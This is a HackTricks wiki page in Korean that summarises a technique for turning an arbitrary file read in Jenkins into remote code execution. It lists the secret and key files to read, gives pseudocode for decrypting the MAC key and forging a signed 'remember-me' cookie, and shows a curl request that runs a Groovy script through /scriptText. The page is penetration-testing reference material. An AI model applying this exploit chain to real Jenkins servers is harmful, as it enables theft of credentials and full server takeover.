Jenkins Arbitrary File Read to RCE via "Remember Me"

Support HackTricks

이 블로그 게시물에서는 Jenkins의 Local File Inclusion 취약점을 RCE로 변환하는 훌륭한 방법을 찾을 수 있습니다: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

이것은 임의의 쿠키를 조작하여 RCE를 얻는 방법에 대한 게시물의 요약입니다. 제가 직접 요약을 작성할 시간이 생길 때까지 사용됩니다:

Attack Prerequisites

  • Feature Requirement: "Remember me"가 활성화되어 있어야 합니다 (기본 설정).

  • Access Levels: 공격자는 Overall/Read 권한이 필요합니다.

  • Secret Access: 주요 파일에서 이진 및 텍스트 콘텐츠를 읽을 수 있는 능력.

Detailed Exploitation Process

Step 1: Data Collection

User Information Retrieval

  • 각 사용자에 대한 $JENKINS_HOME/users/*.xml에서 사용자 구성 및 비밀을 액세스하여 다음을 수집합니다:

  • Username

  • User seed

  • Timestamp

  • Password hash

Secret Key Extraction

  • 쿠키 서명에 사용되는 암호화 키를 추출합니다:

  • Secret Key: $JENKINS_HOME/secret.key

  • Master Key: $JENKINS_HOME/secrets/master.key

  • MAC Key File: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Token Preparation

  • 토큰 만료 시간 계산:

tokenExpiryTime = currentServerTimeInMillis() + 3600000  // 현재 시간에 1시간 추가
  • 토큰을 위한 데이터 연결:

token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC Key Decryption

  • MAC Key 파일 복호화:

key = toAes128Key(masterKey)  // 마스터 키를 AES128 키 형식으로 변환
decrypted = AES.decrypt(macFile, key)  // .mac 파일 복호화
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Signature Computation

  • HMAC SHA256 계산:

mac = HmacSHA256(token, macKey)  // 토큰과 MAC 키를 사용하여 HMAC 계산
tokenSignature = bytesToHexString(mac)  // MAC을 16진수 문자열로 변환

Cookie Encoding

  • 최종 쿠키 생성:

cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // 쿠키 데이터를 Base64로 인코딩

Step 3: Code Execution

Session Authentication

  • CSRF 및 세션 토큰 가져오기:

  • /crumbIssuer/api/json에 요청을 보내 Jenkins-Crumb를 얻습니다.

  • 응답에서 JSESSIONID를 캡처하여 remember-me 쿠키와 함께 사용합니다.

Command Execution Request

  • Groovy 스크립트로 POST 요청 보내기:

curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovy 스크립트는 시스템 수준의 명령이나 Jenkins 환경 내에서 다른 작업을 실행하는 데 사용할 수 있습니다.

제공된 curl 명령 예시는 임의의 코드를 안전하게 실행하기 위해 필요한 헤더와 쿠키로 Jenkins에 요청을 보내는 방법을 보여줍니다.

Support HackTricks

Last updated